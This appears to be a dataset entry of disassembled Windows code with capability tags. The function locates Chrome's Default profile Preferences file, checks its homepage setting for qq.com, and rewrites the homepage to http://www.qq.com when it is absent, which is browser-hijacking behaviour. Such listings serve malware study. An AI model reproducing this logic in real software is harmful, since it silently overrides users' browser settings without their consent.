Function at 0x43eab0
Capabilities:
Check if file exists
Get common file path
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x469514
mov eax, dword fs:[0]
push eax
mov eax, 0x48c0
call fcn.0042a4c0
mov eax, dword [0x481288]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov word [ebp - 0x13e4], 0
push 0x206
push 0
lea eax, [ebp - 0x13e2]
push eax
call fcn.00415680
add esp, 0xc
mov word [ebp - 0x15ec], 0
push 0x206
push 0
lea ecx, [ebp - 0x15ea]
push ecx
call fcn.00415680
add esp, 0xc
mov word [ebp - 0x17f4], 0
push 0x206
push 0
lea edx, [ebp - 0x17f2]
push edx
call fcn.00415680
add esp, 0xc
mov word [ebp - 0x11bc], 0
push 0xf9e
push 0
lea eax, [ebp - 0x11ba]
push eax
call fcn.00415680
add esp, 0xc
mov word [ebp - 0x21c], 0
push 0x206
push 0
lea ecx, [ebp - 0x21a]
push ecx
call fcn.00415680
add esp, 0xc
push 1
push 0x1c
lea edx, [ebp - 0x21c]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
jne 0x43eb96
jmp 0x43f484
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x11d8]
call fcn.004011c0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x11d8]
call fcn.00401220
push eax
lea ecx, [ebp - 0x13e4]
push ecx
call fcn.00414f38
add esp, 8
lea edx, [ebp - 0x13e4]
push edx
call fcn.00414d31
add esp, 4
movzx eax, word [ebp + eax*2 - 0x13e6]
cmp eax, 0x5c
jne 0x43ebff
lea ecx, [ebp - 0x13e4]
push ecx
call fcn.00414d31
add esp, 4
mov word [ebp + eax*2 - 0x13e6], 0
lea edx, [ebp - 0x13e4]
push edx
push str._sGoogleChromeUser_DataDefault
push 0x208
push 0x104
lea eax, [ebp - 0x13e4]
push eax
call fcn.004157ac
add esp, 0x14
lea ecx, [ebp - 0x13e4]
push ecx
call fcn.00414d31
add esp, 4
test eax, eax
jbe 0x43f472
lea edx, [ebp - 0x13e4]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x43f472
lea eax, [ebp - 0x13e4]
push eax
push str._sPreferences
push 0x208
push 0x104
lea ecx, [ebp - 0x15ec]
push ecx
call fcn.004157ac
add esp, 0x14
lea edx, [ebp - 0x15ec]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x43f472
lea ecx, [ebp - 0x1810]
call fcn.00401190
mov byte [ebp - 4], 1
push 1
push 0x40
push 1
lea eax, [ebp - 0x15ec]
push eax
lea ecx, [ebp - 0x18a4]
call fcn.00407a10
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x18a4]
mov edx, dword [ecx + 4]
lea ecx, [ebp + edx - 0x18a4]
call fcn.00406ec0
test eax, eax
je 0x43ed5c
lea eax, [ebp - 0x1810]
push eax
lea ecx, [ebp - 0x18a4]
push ecx
call fcn.00409b50
add esp, 8
mov dword [ebp - 0x4874], eax
mov edx, dword [ebp - 0x4874]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x4874]
add ecx, dword [eax + 4]
call fcn.00406ec0
test eax, eax
je 0x43ed4f
push str._homepage_:
lea ecx, [ebp - 0x1810]
call fcn.00401220
push eax
call fcn.0043d3a0
add esp, 8
mov dword [ebp - 0x18ac], eax
cmp dword [ebp - 0x18ac], 0
jl 0x43ed4d
lea ecx, [ebp - 0x1810]
call fcn.00401220
push eax
lea ecx, [ebp - 0x11bc]
push ecx
call fcn.00414f38
add esp, 8
jmp 0x43ed4f
jmp 0x43ecd2
lea ecx, [ebp - 0x18a4]
call fcn.00407b70
jmp 0x43ed9c
lea ecx, [ebp - 0x18a4]
call fcn.00407b70
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x18a4]
call fcn.00407330
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1810]
call fcn.00401200
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x11d8]
call fcn.00401200
jmp 0x43f484
lea ecx, [ebp - 0x1810]
call fcn.00403c30
push str.WWW.QQ.COM
lea edx, [ebp - 0x11bc]
push edx
call fcn.0043d3a0
add esp, 8
mov dword [ebp - 0x18a8], eax
cmp dword [ebp - 0x18a8], 0
jl 0x43edd9
mov dword [0x489bac], 1
jmp 0x43f454
mov dword [0x489bac], 0
mov word [ebp - 0x286c], 0
push 0xf9e
push 0
lea eax, [ebp - 0x286a]
push eax
call fcn.00415680
add esp, 0xc
lea ecx, [ebp - 0x18c8]
call fcn.00401190
mov byte [ebp - 4], 3
cmp dword [ebp + 8], 0
je 0x43f445
mov word [ebp - 0x3fe4], 0
push 0xf9e
push 0
lea ecx, [ebp - 0x3fe2]
push ecx
call fcn.00415680
add esp, 0xc
mov byte [ebp - 0x47b4], 0
push 0x7cf
push 0
lea edx, [ebp - 0x47b3]
push edx
call fcn.00415680
add esp, 0xc
mov byte [ebp - 0x3044], 0
push 0x7cf
push 0
lea eax, [ebp - 0x3043]
push eax
call fcn.00415680
add esp, 0xc
push 0x473898
lea ecx, [ebp - 0x15ec]
push ecx
call fcn.00414e0d
add esp, 8
mov dword [ebp - 0x2870], eax
cmp dword [ebp - 0x2870], 0
je 0x43eec5
mov edx, dword [ebp - 0x2870]
push edx
push 0x7d0
push 1
lea eax, [ebp - 0x47b4]
push eax
call fcn.00417f4f
add esp, 0x10
mov ecx, dword [ebp - 0x2870]
push ecx
call fcn.00414e92
add esp, 4
jmp 0x43ef18
mov edx, dword [ebp - 0x2870]
push edx
call fcn.00414e92
add esp, 4
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x18c8]
call fcn.00401200
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x18a4]
call fcn.00407330
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1810]
call fcn.00401200
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x11d8]
call fcn.00401200
jmp 0x43f484
push 0x7d0
lea eax, [ebp - 0x3fe4]
push eax
lea ecx, [ebp - 0x47b4]
push ecx
call fcn.00415fa0
add esp, 4
push eax
lea edx, [ebp - 0x47b4]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x3fe4]
push eax
call fcn.00414d31
add esp, 4
test eax, eax
jbe 0x43f122
lea ecx, [ebp - 0x3fe4]
push ecx
call fcn.00414d31
add esp, 4
cmp eax, 0x7d0
jae 0x43f122
lea edx, [ebp - 0x11bc]
push edx
call fcn.00414d31
add esp, 4
test eax, eax
jbe 0x43f122
push 0x4738a0
lea ecx, [ebp - 0x4890]
call fcn.004011c0
mov byte [ebp - 4], 4
lea eax, [ebp - 0x11bc]
push eax
lea ecx, [ebp - 0x48ac]
call fcn.004011c0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x3fe4]
push ecx
lea ecx, [ebp - 0x48c8]
call fcn.004011c0
mov byte [ebp - 4], 6
lea edx, [ebp - 0x4890]
push edx
lea eax, [ebp - 0x48ac]
push eax
lea ecx, [ebp - 0x48c8]
push ecx
lea edx, [ebp - 0x18c8]
push edx
call fcn.00442b50
add esp, 0x10
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x48c8]
call fcn.00401200
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x48ac]
call fcn.00401200
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x4890]
call fcn.00401200
lea ecx, [ebp - 0x18c8]
call fcn.00401220
push eax
push 0x4738ec
push 0xfa0
push 0x7d0
lea eax, [ebp - 0x286c]
push eax
call fcn.004157ac
add esp, 0x14
push 0
push 0
push 0x7d0
lea ecx, [ebp - 0x3044]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x286c]
push edx
push 0x200
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0x4738f4
lea eax, [ebp - 0x15ec]
push eax
call fcn.00414e0d
add esp, 8
mov dword [ebp - 0x47b8], eax
cmp dword [ebp - 0x47b8], 0
je 0x43f0ca
mov ecx, dword [ebp - 0x47b8]
push ecx
lea edx, [ebp - 0x3044]
push edx
call fcn.00415fa0
add esp, 4
push eax
push 1
lea eax, [ebp - 0x3044]
push eax
call fcn.004150b3
add esp, 0x10
mov ecx, dword [ebp - 0x47b8]
push ecx
call fcn.00414e92
add esp, 4
jmp 0x43f11d
mov edx, dword [ebp - 0x47b8]
push edx
call fcn.00414e92
add esp, 4
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x18c8]
call fcn.00401200
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x18a4]
call fcn.00407330
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1810]
call fcn.00401200
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x11d8]
call fcn.00401200
jmp 0x43f484
jmp 0x43f445
lea eax, [ebp - 0x3fe4]
push eax
call fcn.00414d31
add esp, 4
test eax, eax
jbe 0x43f445
lea ecx, [ebp - 0x3fe4]
push ecx
call fcn.00414d31
add esp, 4
cmp eax, 0x7d0
ja 0x43f445
lea edx, [ebp - 0x11bc]
push edx
call fcn.00414d31
add esp, 4
test eax, eax
jne 0x43f445
lea ecx, [ebp - 0x4868]
call fcn.00401190
mov byte [ebp - 4], 7
push 1
push 0x40
push 1
lea eax, [ebp - 0x15ec]
push eax
lea ecx, [ebp - 0x484c]
call fcn.00407a10
mov byte [ebp - 4], 8
mov dword [ebp - 0x47bc], 0
lea ecx, [ebp - 0x4868]
call fcn.00403c30
mov ecx, dword [ebp - 0x484c]
mov edx, dword [ecx + 4]
lea ecx, [ebp + edx - 0x484c]
call fcn.00406ec0
test eax, eax
je 0x43f3bd
lea eax, [ebp - 0x4868]
push eax
lea ecx, [ebp - 0x484c]
push ecx
call fcn.00409b50
add esp, 8
mov dword [ebp - 0x48cc], eax
mov edx, dword [ebp - 0x48cc]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x48cc]
add ecx, dword [eax + 4]
call fcn.00406ec0
test eax, eax
je 0x43f2a6
cmp dword [ebp - 0x47bc], 0
je 0x43f23e
push str.____homepage_:__http:__www.qq.com___
lea ecx, [ebp - 0x11bc]
push ecx
push 0x47394c
push 0xfa0
push 0x7d0
lea edx, [ebp - 0x11bc]
push edx
call fcn.004157ac
add esp, 0x18
mov dword [ebp - 0x47bc], 0
lea ecx, [ebp - 0x4868]
call fcn.00401220
push eax
lea eax, [ebp - 0x11bc]
push eax
push str._s_s_r_n
push 0xfa0
push 0x7d0
lea ecx, [ebp - 0x11bc]
push ecx
call fcn.004157ac
add esp, 0x18
push str._geoid_at_install_
lea ecx, [ebp - 0x4868]
call fcn.00401220
push eax
call fcn.0043d3a0
add esp, 8
mov dword [ebp - 0x486c], eax
cmp dword [ebp - 0x486c], 0
jl 0x43f2a1
mov dword [ebp - 0x47bc], 1
jmp 0x43f1c7
lea ecx, [ebp - 0x484c]
call fcn.00407b70
lea edx, [ebp - 0x11bc]
push edx
call fcn.00414d31
add esp, 4
test eax, eax
jbe 0x43f3bb
push 0
push 0
push 0x7d0
lea eax, [ebp - 0x3044]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x11bc]
push ecx
push 0x200
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0x473994
lea edx, [ebp - 0x15ec]
push edx
call fcn.00414e0d
add esp, 8
mov dword [ebp - 0x4870], eax
cmp dword [ebp - 0x4870], 0
je 0x43f34a
mov eax, dword [ebp - 0x4870]
push eax
lea ecx, [ebp - 0x3044]
push ecx
call fcn.00415fa0
add esp, 4
push eax
push 1
lea edx, [ebp - 0x3044]
push edx
call fcn.004150b3
add esp, 0x10
mov eax, dword [ebp - 0x4870]
push eax
call fcn.00414e92
add esp, 4
jmp 0x43f3bb
mov ecx, dword [ebp - 0x4870]
push ecx
call fcn.00414e92
add esp, 4
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x484c]
call fcn.00407330
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x4868]
call fcn.00401200
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x18c8]
call fcn.00401200
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x18a4]
call fcn.00407330
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1810]
call fcn.00401200
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x11d8]
call fcn.00401200
jmp 0x43f484
jmp 0x43f427
lea ecx, [ebp - 0x484c]
call fcn.00407b70
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x484c]
call fcn.00407330
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x4868]
call fcn.00401200
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x18c8]
call fcn.00401200
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x18a4]
call fcn.00407330
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1810]
call fcn.00401200
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x11d8]
call fcn.00401200
jmp 0x43f484
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x484c]
call fcn.00407330
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x4868]
call fcn.00401200
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x18c8]
call fcn.00401200
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x18a4]
call fcn.00407330
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1810]
call fcn.00401200
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x11d8]
call fcn.00401200
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004151d0
mov esp, ebp
pop ebp
ret